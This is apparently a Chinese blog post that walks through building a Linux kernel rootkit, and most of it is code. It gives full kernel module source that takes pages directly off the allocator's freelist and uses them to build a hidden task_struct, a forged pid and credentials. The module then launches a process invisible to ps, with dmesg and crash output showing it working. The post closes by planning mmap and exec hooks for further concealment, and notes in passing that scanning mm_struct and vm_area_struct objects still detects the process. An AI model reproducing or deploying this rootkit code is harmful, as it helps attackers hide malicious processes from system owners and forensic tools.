窃取Linux内核page以构建窝藏自己的Rootkit

清疚 2023-02-10 08:01 25阅读 0赞

窃取内核的page？是的，偷page意味着我们绕过page分配的一切规则和接口，直接从freelist中摘取一个空闲的page来用。

直接看个POC吧，我来模拟一个task\_struct的分配过程：

#include <linux/module.h>
    #include <linux/mm.h>
    #include <linux/sched.h>
    
    static void * page_steal(unsigned int j)
    { 
    	void *addr = NULL;
    	int i = 0;
    
    	for_each_online_node(i) { 
    		unsigned long spfn, epfn, pfn;
    
    		spfn= node_start_pfn(i);
    		epfn = node_end_pfn(i);
    		for (pfn = spfn; pfn < epfn;) { 
    			struct page *page = pfn_to_page(pfn);
    
    			// 找到空闲页面，并且没有被偷走的，就摘除它，偷走它，占有它！
    			if (page_count(page) == 0 && pfn == j &&
    				(page->lru.prev != LIST_POISON2 && page->lru.next != LIST_POISON1)) { 
    				// 仅仅从freelist中摘除，并不增加引用计数。
    				// 该page我们是偷来的，永久保有，绝不归还！
    				list_del(&page->lru);
    				// 至此，内核已经看不到这个page了，获取地址使用它吧。
    				addr = page_address(page);
    				// 注意，偷的page最好直接使用线性映射地址。
    				// 并且，一定要check其PTE的性质，保证可读写，必要时可执行！！本文略。
    				break;
    			}
    			pfn ++;
    		}
    	}
    	return addr;
    }
    
    static int __init steal_task_init(void)
    { 
    	struct task_struct *p, *curr = current;
    	unsigned int j = 2000;
    
    again:
    	// 这里模拟一个用偷来的page构建task_struct的过程。
    	p = (struct task_struct *)page_steal(j);
    	if (p) { 
    		*p = *curr;
    		p->pid = 0xffffff;
    		strcpy(p->comm, "JingLiSkinShoe");
    		printk("get page:%p at %d\n", p, j);
    	} else if (j > 0) { 
    		j --;
    		goto again;
    	}
    
    	return -1;
    }
    
    module_init(steal_task_init);
    MODULE_LICENSE("GPL");

加载这个模块，根据打印信息用crash来dump结构体：

[root@localhost test]# dmesg
    [ 9260.300467] get page:ffff880000500000  at 1280

我们看看这个地址：

crash> task_struct.sched_class,comm,pid ffff880000500000
      sched_class = 0xffffffff81669340 <fair_sched_class>
      comm = "JingLiSkinShoe\000"
      pid = 16777215
    crash>

OK，我们试试用上文中介绍的dump所有slab对象的方法能找到它吗？

[root@localhost test]# insmod ./pagescan.ko
    insmod: ERROR: could not insert module ./pagescan.ko: Operation not permitted
    [root@localhost test]# dmesg |grep JingLiSkinShoe
    [root@localhost test]# echo $?
    1

很显然，没有找到！

OK，根据以上的POC，我们可以来个正式的了。也就是，是时候搞一个可以运行的隐藏进程了，请看：

// stealfork.c
    #include <linux/module.h>
    #include <linux/cred.h>
    #include <linux/slab.h>
    #include <linux/kallsyms.h>
    #include <linux/nsproxy.h>
    #include <linux/pid_namespace.h>
    #include <linux/random.h>
    #include <linux/fdtable.h>
    #include <linux/cgroup.h>
    #include <linux/sched.h>
    
    int (*_run_process)(struct filename *file, char **, char **);
    struct filename * (*_getname_kernel)(char *name);
    
    int test_stub2(void)
    { 
    	printk("stub pid: %d at %p\n", current->pid, current);
    	if (_run_process) { 
    		int r =_run_process(_getname_kernel("/root/run"), NULL, NULL);
    		printk("result:%d\n", r);
    	}
    	current->parent = current;
    	current->real_parent = current;
    	return 0;
    }
    
    int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct *);
    int (*_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct *);
    void (*_wake_up_new_task)(struct task_struct *);
    void (*_sched_fork)(unsigned long, struct task_struct *);
    struct fs_struct * (*_copy_fs_struct)(struct fs_struct *);
    struct files_struct * (*_dup_fd)(struct files_struct *, int *);
    struct pid * (*_alloc_pid)(struct pid_namespace *ns);
    
    static void *page_steal(unsigned int j)
    { 
    	void *addr = NULL;
    	int i = 0;
    
    	for_each_online_node(i) { 
    		unsigned long spfn, epfn, pfn;
    
    		spfn= node_start_pfn(i);
    		epfn = node_end_pfn(i);
    		for (pfn = spfn; pfn < epfn;) { 
    			struct page *page = pfn_to_page(pfn);
    
    			if (page_count(page) == 0 && pfn == j &&
    				(page->lru.prev != LIST_POISON2 && page->lru.next != LIST_POISON1)) { 
    				list_del(&page->lru);
    				addr = page_address(page);
    				// 此处，一定要check其PTE的性质，保证可读写，必要时可执行！！本文略。
    				break;
    			}
    			pfn ++;
    		}
    	}
    	return addr;
    }
    
    static void *steal_alloc(void)
    { 
    	void *addr;
    	static unsigned int j = 8000;
    
    again:
    	addr = page_steal(j);
    	if (addr) { 
    		j --;
    		return addr;
    	} else if (j > 0) { 
    		j --;
    		goto again;
    	}
    	return NULL;
    }
    
    static int __init stealfork_init(void)
    { 
    	unsigned char *base;
    	struct task_struct *tsk;
    	struct thread_info *ti;
    	struct task_struct *orig = current;
    	unsigned long *stackend;
    	struct pid_link *link;
    	struct hlist_node *node;
    	struct sighand_struct *sig;
    	struct signal_struct *sign;
    	struct cred *new;
    	struct pid *pid = NULL;
    	int type, err = 0;
    
    	_arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct");
    	_sched_fork = (void *)kallsyms_lookup_name("sched_fork");
    	_copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct");
    	_dup_fd = (void *)kallsyms_lookup_name("dup_fd");
    	_run_process = (void *)kallsyms_lookup_name("do_execve");
    	_getname_kernel =  (void *)kallsyms_lookup_name("getname_kernel");
    	_alloc_pid =  (void *)kallsyms_lookup_name("alloc_pid");
    	_copy_thread = (void *)kallsyms_lookup_name("copy_thread");
    	_wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task");
    
    	// 所有的内核分配均使用steal_alloc来偷！
    	base = (unsigned char *)steal_alloc();
    	tsk = (struct task_struct *)base;
    	_arch_dup_task_struct(tsk, orig);
    	base = (unsigned char *)steal_alloc();
    	ti = (struct thread_info *)base;
    	tsk->stack = ti;
    	*task_thread_info(tsk) = *task_thread_info(orig);
    	task_thread_info(tsk)->task = tsk;
    	stackend = end_of_stack(tsk);
    	*stackend = 0x57AC6E9D;
    	tsk->stack_canary = get_random_int();
    
    	clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY);
    	clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED	);
    	atomic_set(&tsk->usage, 2);
    	tsk->splice_pipe = NULL;
    	tsk->task_frag.page = NULL;
    	memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat));
    
    	raw_spin_lock_init(&tsk->pi_lock);
    	plist_head_init(&tsk->pi_waiters);
    	tsk->pi_blocked_on = NULL;
    
    	rcu_copy_process(tsk);
    	tsk->vfork_done = NULL;
    	spin_lock_init(&tsk->alloc_lock);
    	init_sigpending(&tsk->pending);
    
    	seqlock_init(&tsk->vtime_seqlock);
    	tsk->audit_context = NULL;
    
    	_sched_fork(0, tsk);
    
    	tsk->mm = NULL;
    	tsk->active_mm = NULL;
    	memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp));
    	mutex_init(&tsk->perf_event_mutex);
    	INIT_LIST_HEAD(&tsk->perf_event_list);
    
    	new = prepare_creds();
    	if (new->thread_keyring) { 
    		key_put(new->thread_keyring);
    		new->thread_keyring = NULL;
    	}
    	key_put(new->process_keyring);
    	new->process_keyring = NULL;
    	atomic_inc(&new->user->processes);
    	tsk->cred = tsk->real_cred = get_cred(new);
    	validate_creds(new);
    
    	tsk->fs = _copy_fs_struct(current->fs);
    	tsk->files = _dup_fd(current->files, &err);
    	base = steal_alloc();
    	sig = (struct sighand_struct *)base;
    	atomic_set(&sig->count, 2);
    	memcpy(sig->action, current->sighand->action, sizeof(sig->action));
    
    	base = steal_alloc();
    	sign = (struct signal_struct *)base;
    	sign->nr_threads = 1;
    	atomic_set(&sign->live, 2);
    	atomic_set(&sign->sigcnt, 2);
    	sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node);
    	tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head);
    	init_waitqueue_head(&sign->wait_chldexit);
    	sign->curr_target = tsk;
    	init_sigpending(&sign->shared_pending);
    	INIT_LIST_HEAD(&sign->posix_timers);
    	seqlock_init(&sign->stats_lock);
    	memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim);
    
    	tsk->cgroups = current->cgroups;
    	atomic_inc(&tsk->cgroups->refcount);
    	INIT_LIST_HEAD(&tsk->cg_list);
    
    	// 设置堆栈以及入口
    	tsk->flags |= PF_KTHREAD;
    	_copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk);
    	tsk->clear_child_tid = NULL;
    	tsk->set_child_tid = NULL;
    
    	// 伪造身份证
    	pid = steal_alloc();
    	pid->level = current->nsproxy->pid_ns->level;
    	pid->numbers[0].nr = 0xffff;
    	pid->numbers[0].ns = current->nsproxy->pid_ns;
    	for (type = 0; type < PIDTYPE_MAX; ++type)
    		INIT_HLIST_HEAD(&pid->tasks[type]);
    	atomic_set(&pid->count, 2);
    
    	// 进程管理结构自吞尾
    	INIT_LIST_HEAD(&tsk->ptrace_entry);
    	INIT_LIST_HEAD(&tsk->ptraced);
    	atomic_set(&tsk->ptrace_bp_refcnt, 1);
    	tsk->jobctl = 0;
    	tsk->ptrace = 0;
    	tsk->pi_state_cache = NULL;
    	tsk->group_leader = tsk;
    	INIT_LIST_HEAD(&tsk->thread_group);
    	tsk->pid = pid_nr(pid);
    	INIT_LIST_HEAD(&tsk->pi_state_list);
    	INIT_LIST_HEAD(&tsk->tasks);
    	INIT_LIST_HEAD(&tsk->children);
    	INIT_LIST_HEAD(&tsk->sibling);
    
    	// 进程组织自吞尾
    	tsk->pids[PIDTYPE_PID].pid = pid;
    	link = &tsk->pids[PIDTYPE_PID];
    	node = &link->node;
    	INIT_HLIST_NODE(node);
    	node->pprev = &node;
    	printk("task at %p\n", tsk);
    	// 来吧！
    	_wake_up_new_task(tsk);
    
    	return 0;
    }
    
    static void __exit stealfork_exit(void)
    { 
    }
    
    module_init(stealfork_init);
    module_exit(stealfork_exit);
    MODULE_LICENSE("GPL");

我们把/root/run改成一个不会退出的死循环，然后载入上面这个stealfork.ko模块，创建了一个新的进程/root/run，下面我们看下如何找到它。

首先，我们看看它的样子：

[root@localhost test]# dmesg
    [ 9914.796859] task at ffff880000f4f000
    ...

我们看ffff880000f4f000这个地址：

crash> task_struct.sched_class,comm,pid ffff880000f4f000
      sched_class = 0xffffffff81669340 <fair_sched_class>
      comm = "run\000od\000\000\060\000\000\000\000\000\000"
      pid = 65535
    crash>

OK，这就是我们的run进程，下面看用常规方法能找到它不？

[root@localhost test]# ps -e|grep run
    [root@localhost test]# echo $?
    1

当然找不到！因为我根本就没有将它list到链表中！好吧，现在试试dump slab的方法：

[root@localhost test]# dmesg |grep run
    [10059.334359] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.334360] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.334361] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.334361] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.334362] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.334363] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.334363] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.334364] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.334365] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.334366] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.336179] ##### owner:[run] 65535   PGD:ffff88003a928000
    [10059.336358] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.336359] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.336363] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.336366] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.336368] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
    [10059.336370] ##### VMA owner:[run] 65535   PGD:ffff88003a928000

不好！！被发现了！

Why？

虽然我们使用偷来的页面构建了task\_struct，那么在task\_struct的slab里就无法发现它，但是却被mm\_struct和vm\_area\_struct出卖了！因为我没有控制mm\_struct和vm\_area\_struct的分配过程也用偷来的页面，我实在是难以控制：

*  在task执行execve的调用中，会执行mm\_alloc，重新分配一个mm\_struct，并设置owner为task，为了控制mm\_alloc，我们必须inlne hook，这很麻烦。
 *  进程运行过程中，会根据内存使用情况动态分配vm\_area\_struct，若hook这个过程，也非常麻烦。

这也从另一个侧面说明，用按图索骥顺藤摸瓜的方式查找可疑进程以及隐藏进程的方法，是多么好用！不要专门去直接找task\_struct，间接将它缉拿归案！

下面，我要动手hook mmap以及exec了，让mm\_struct和vm\_area\_struct也脱离管控！

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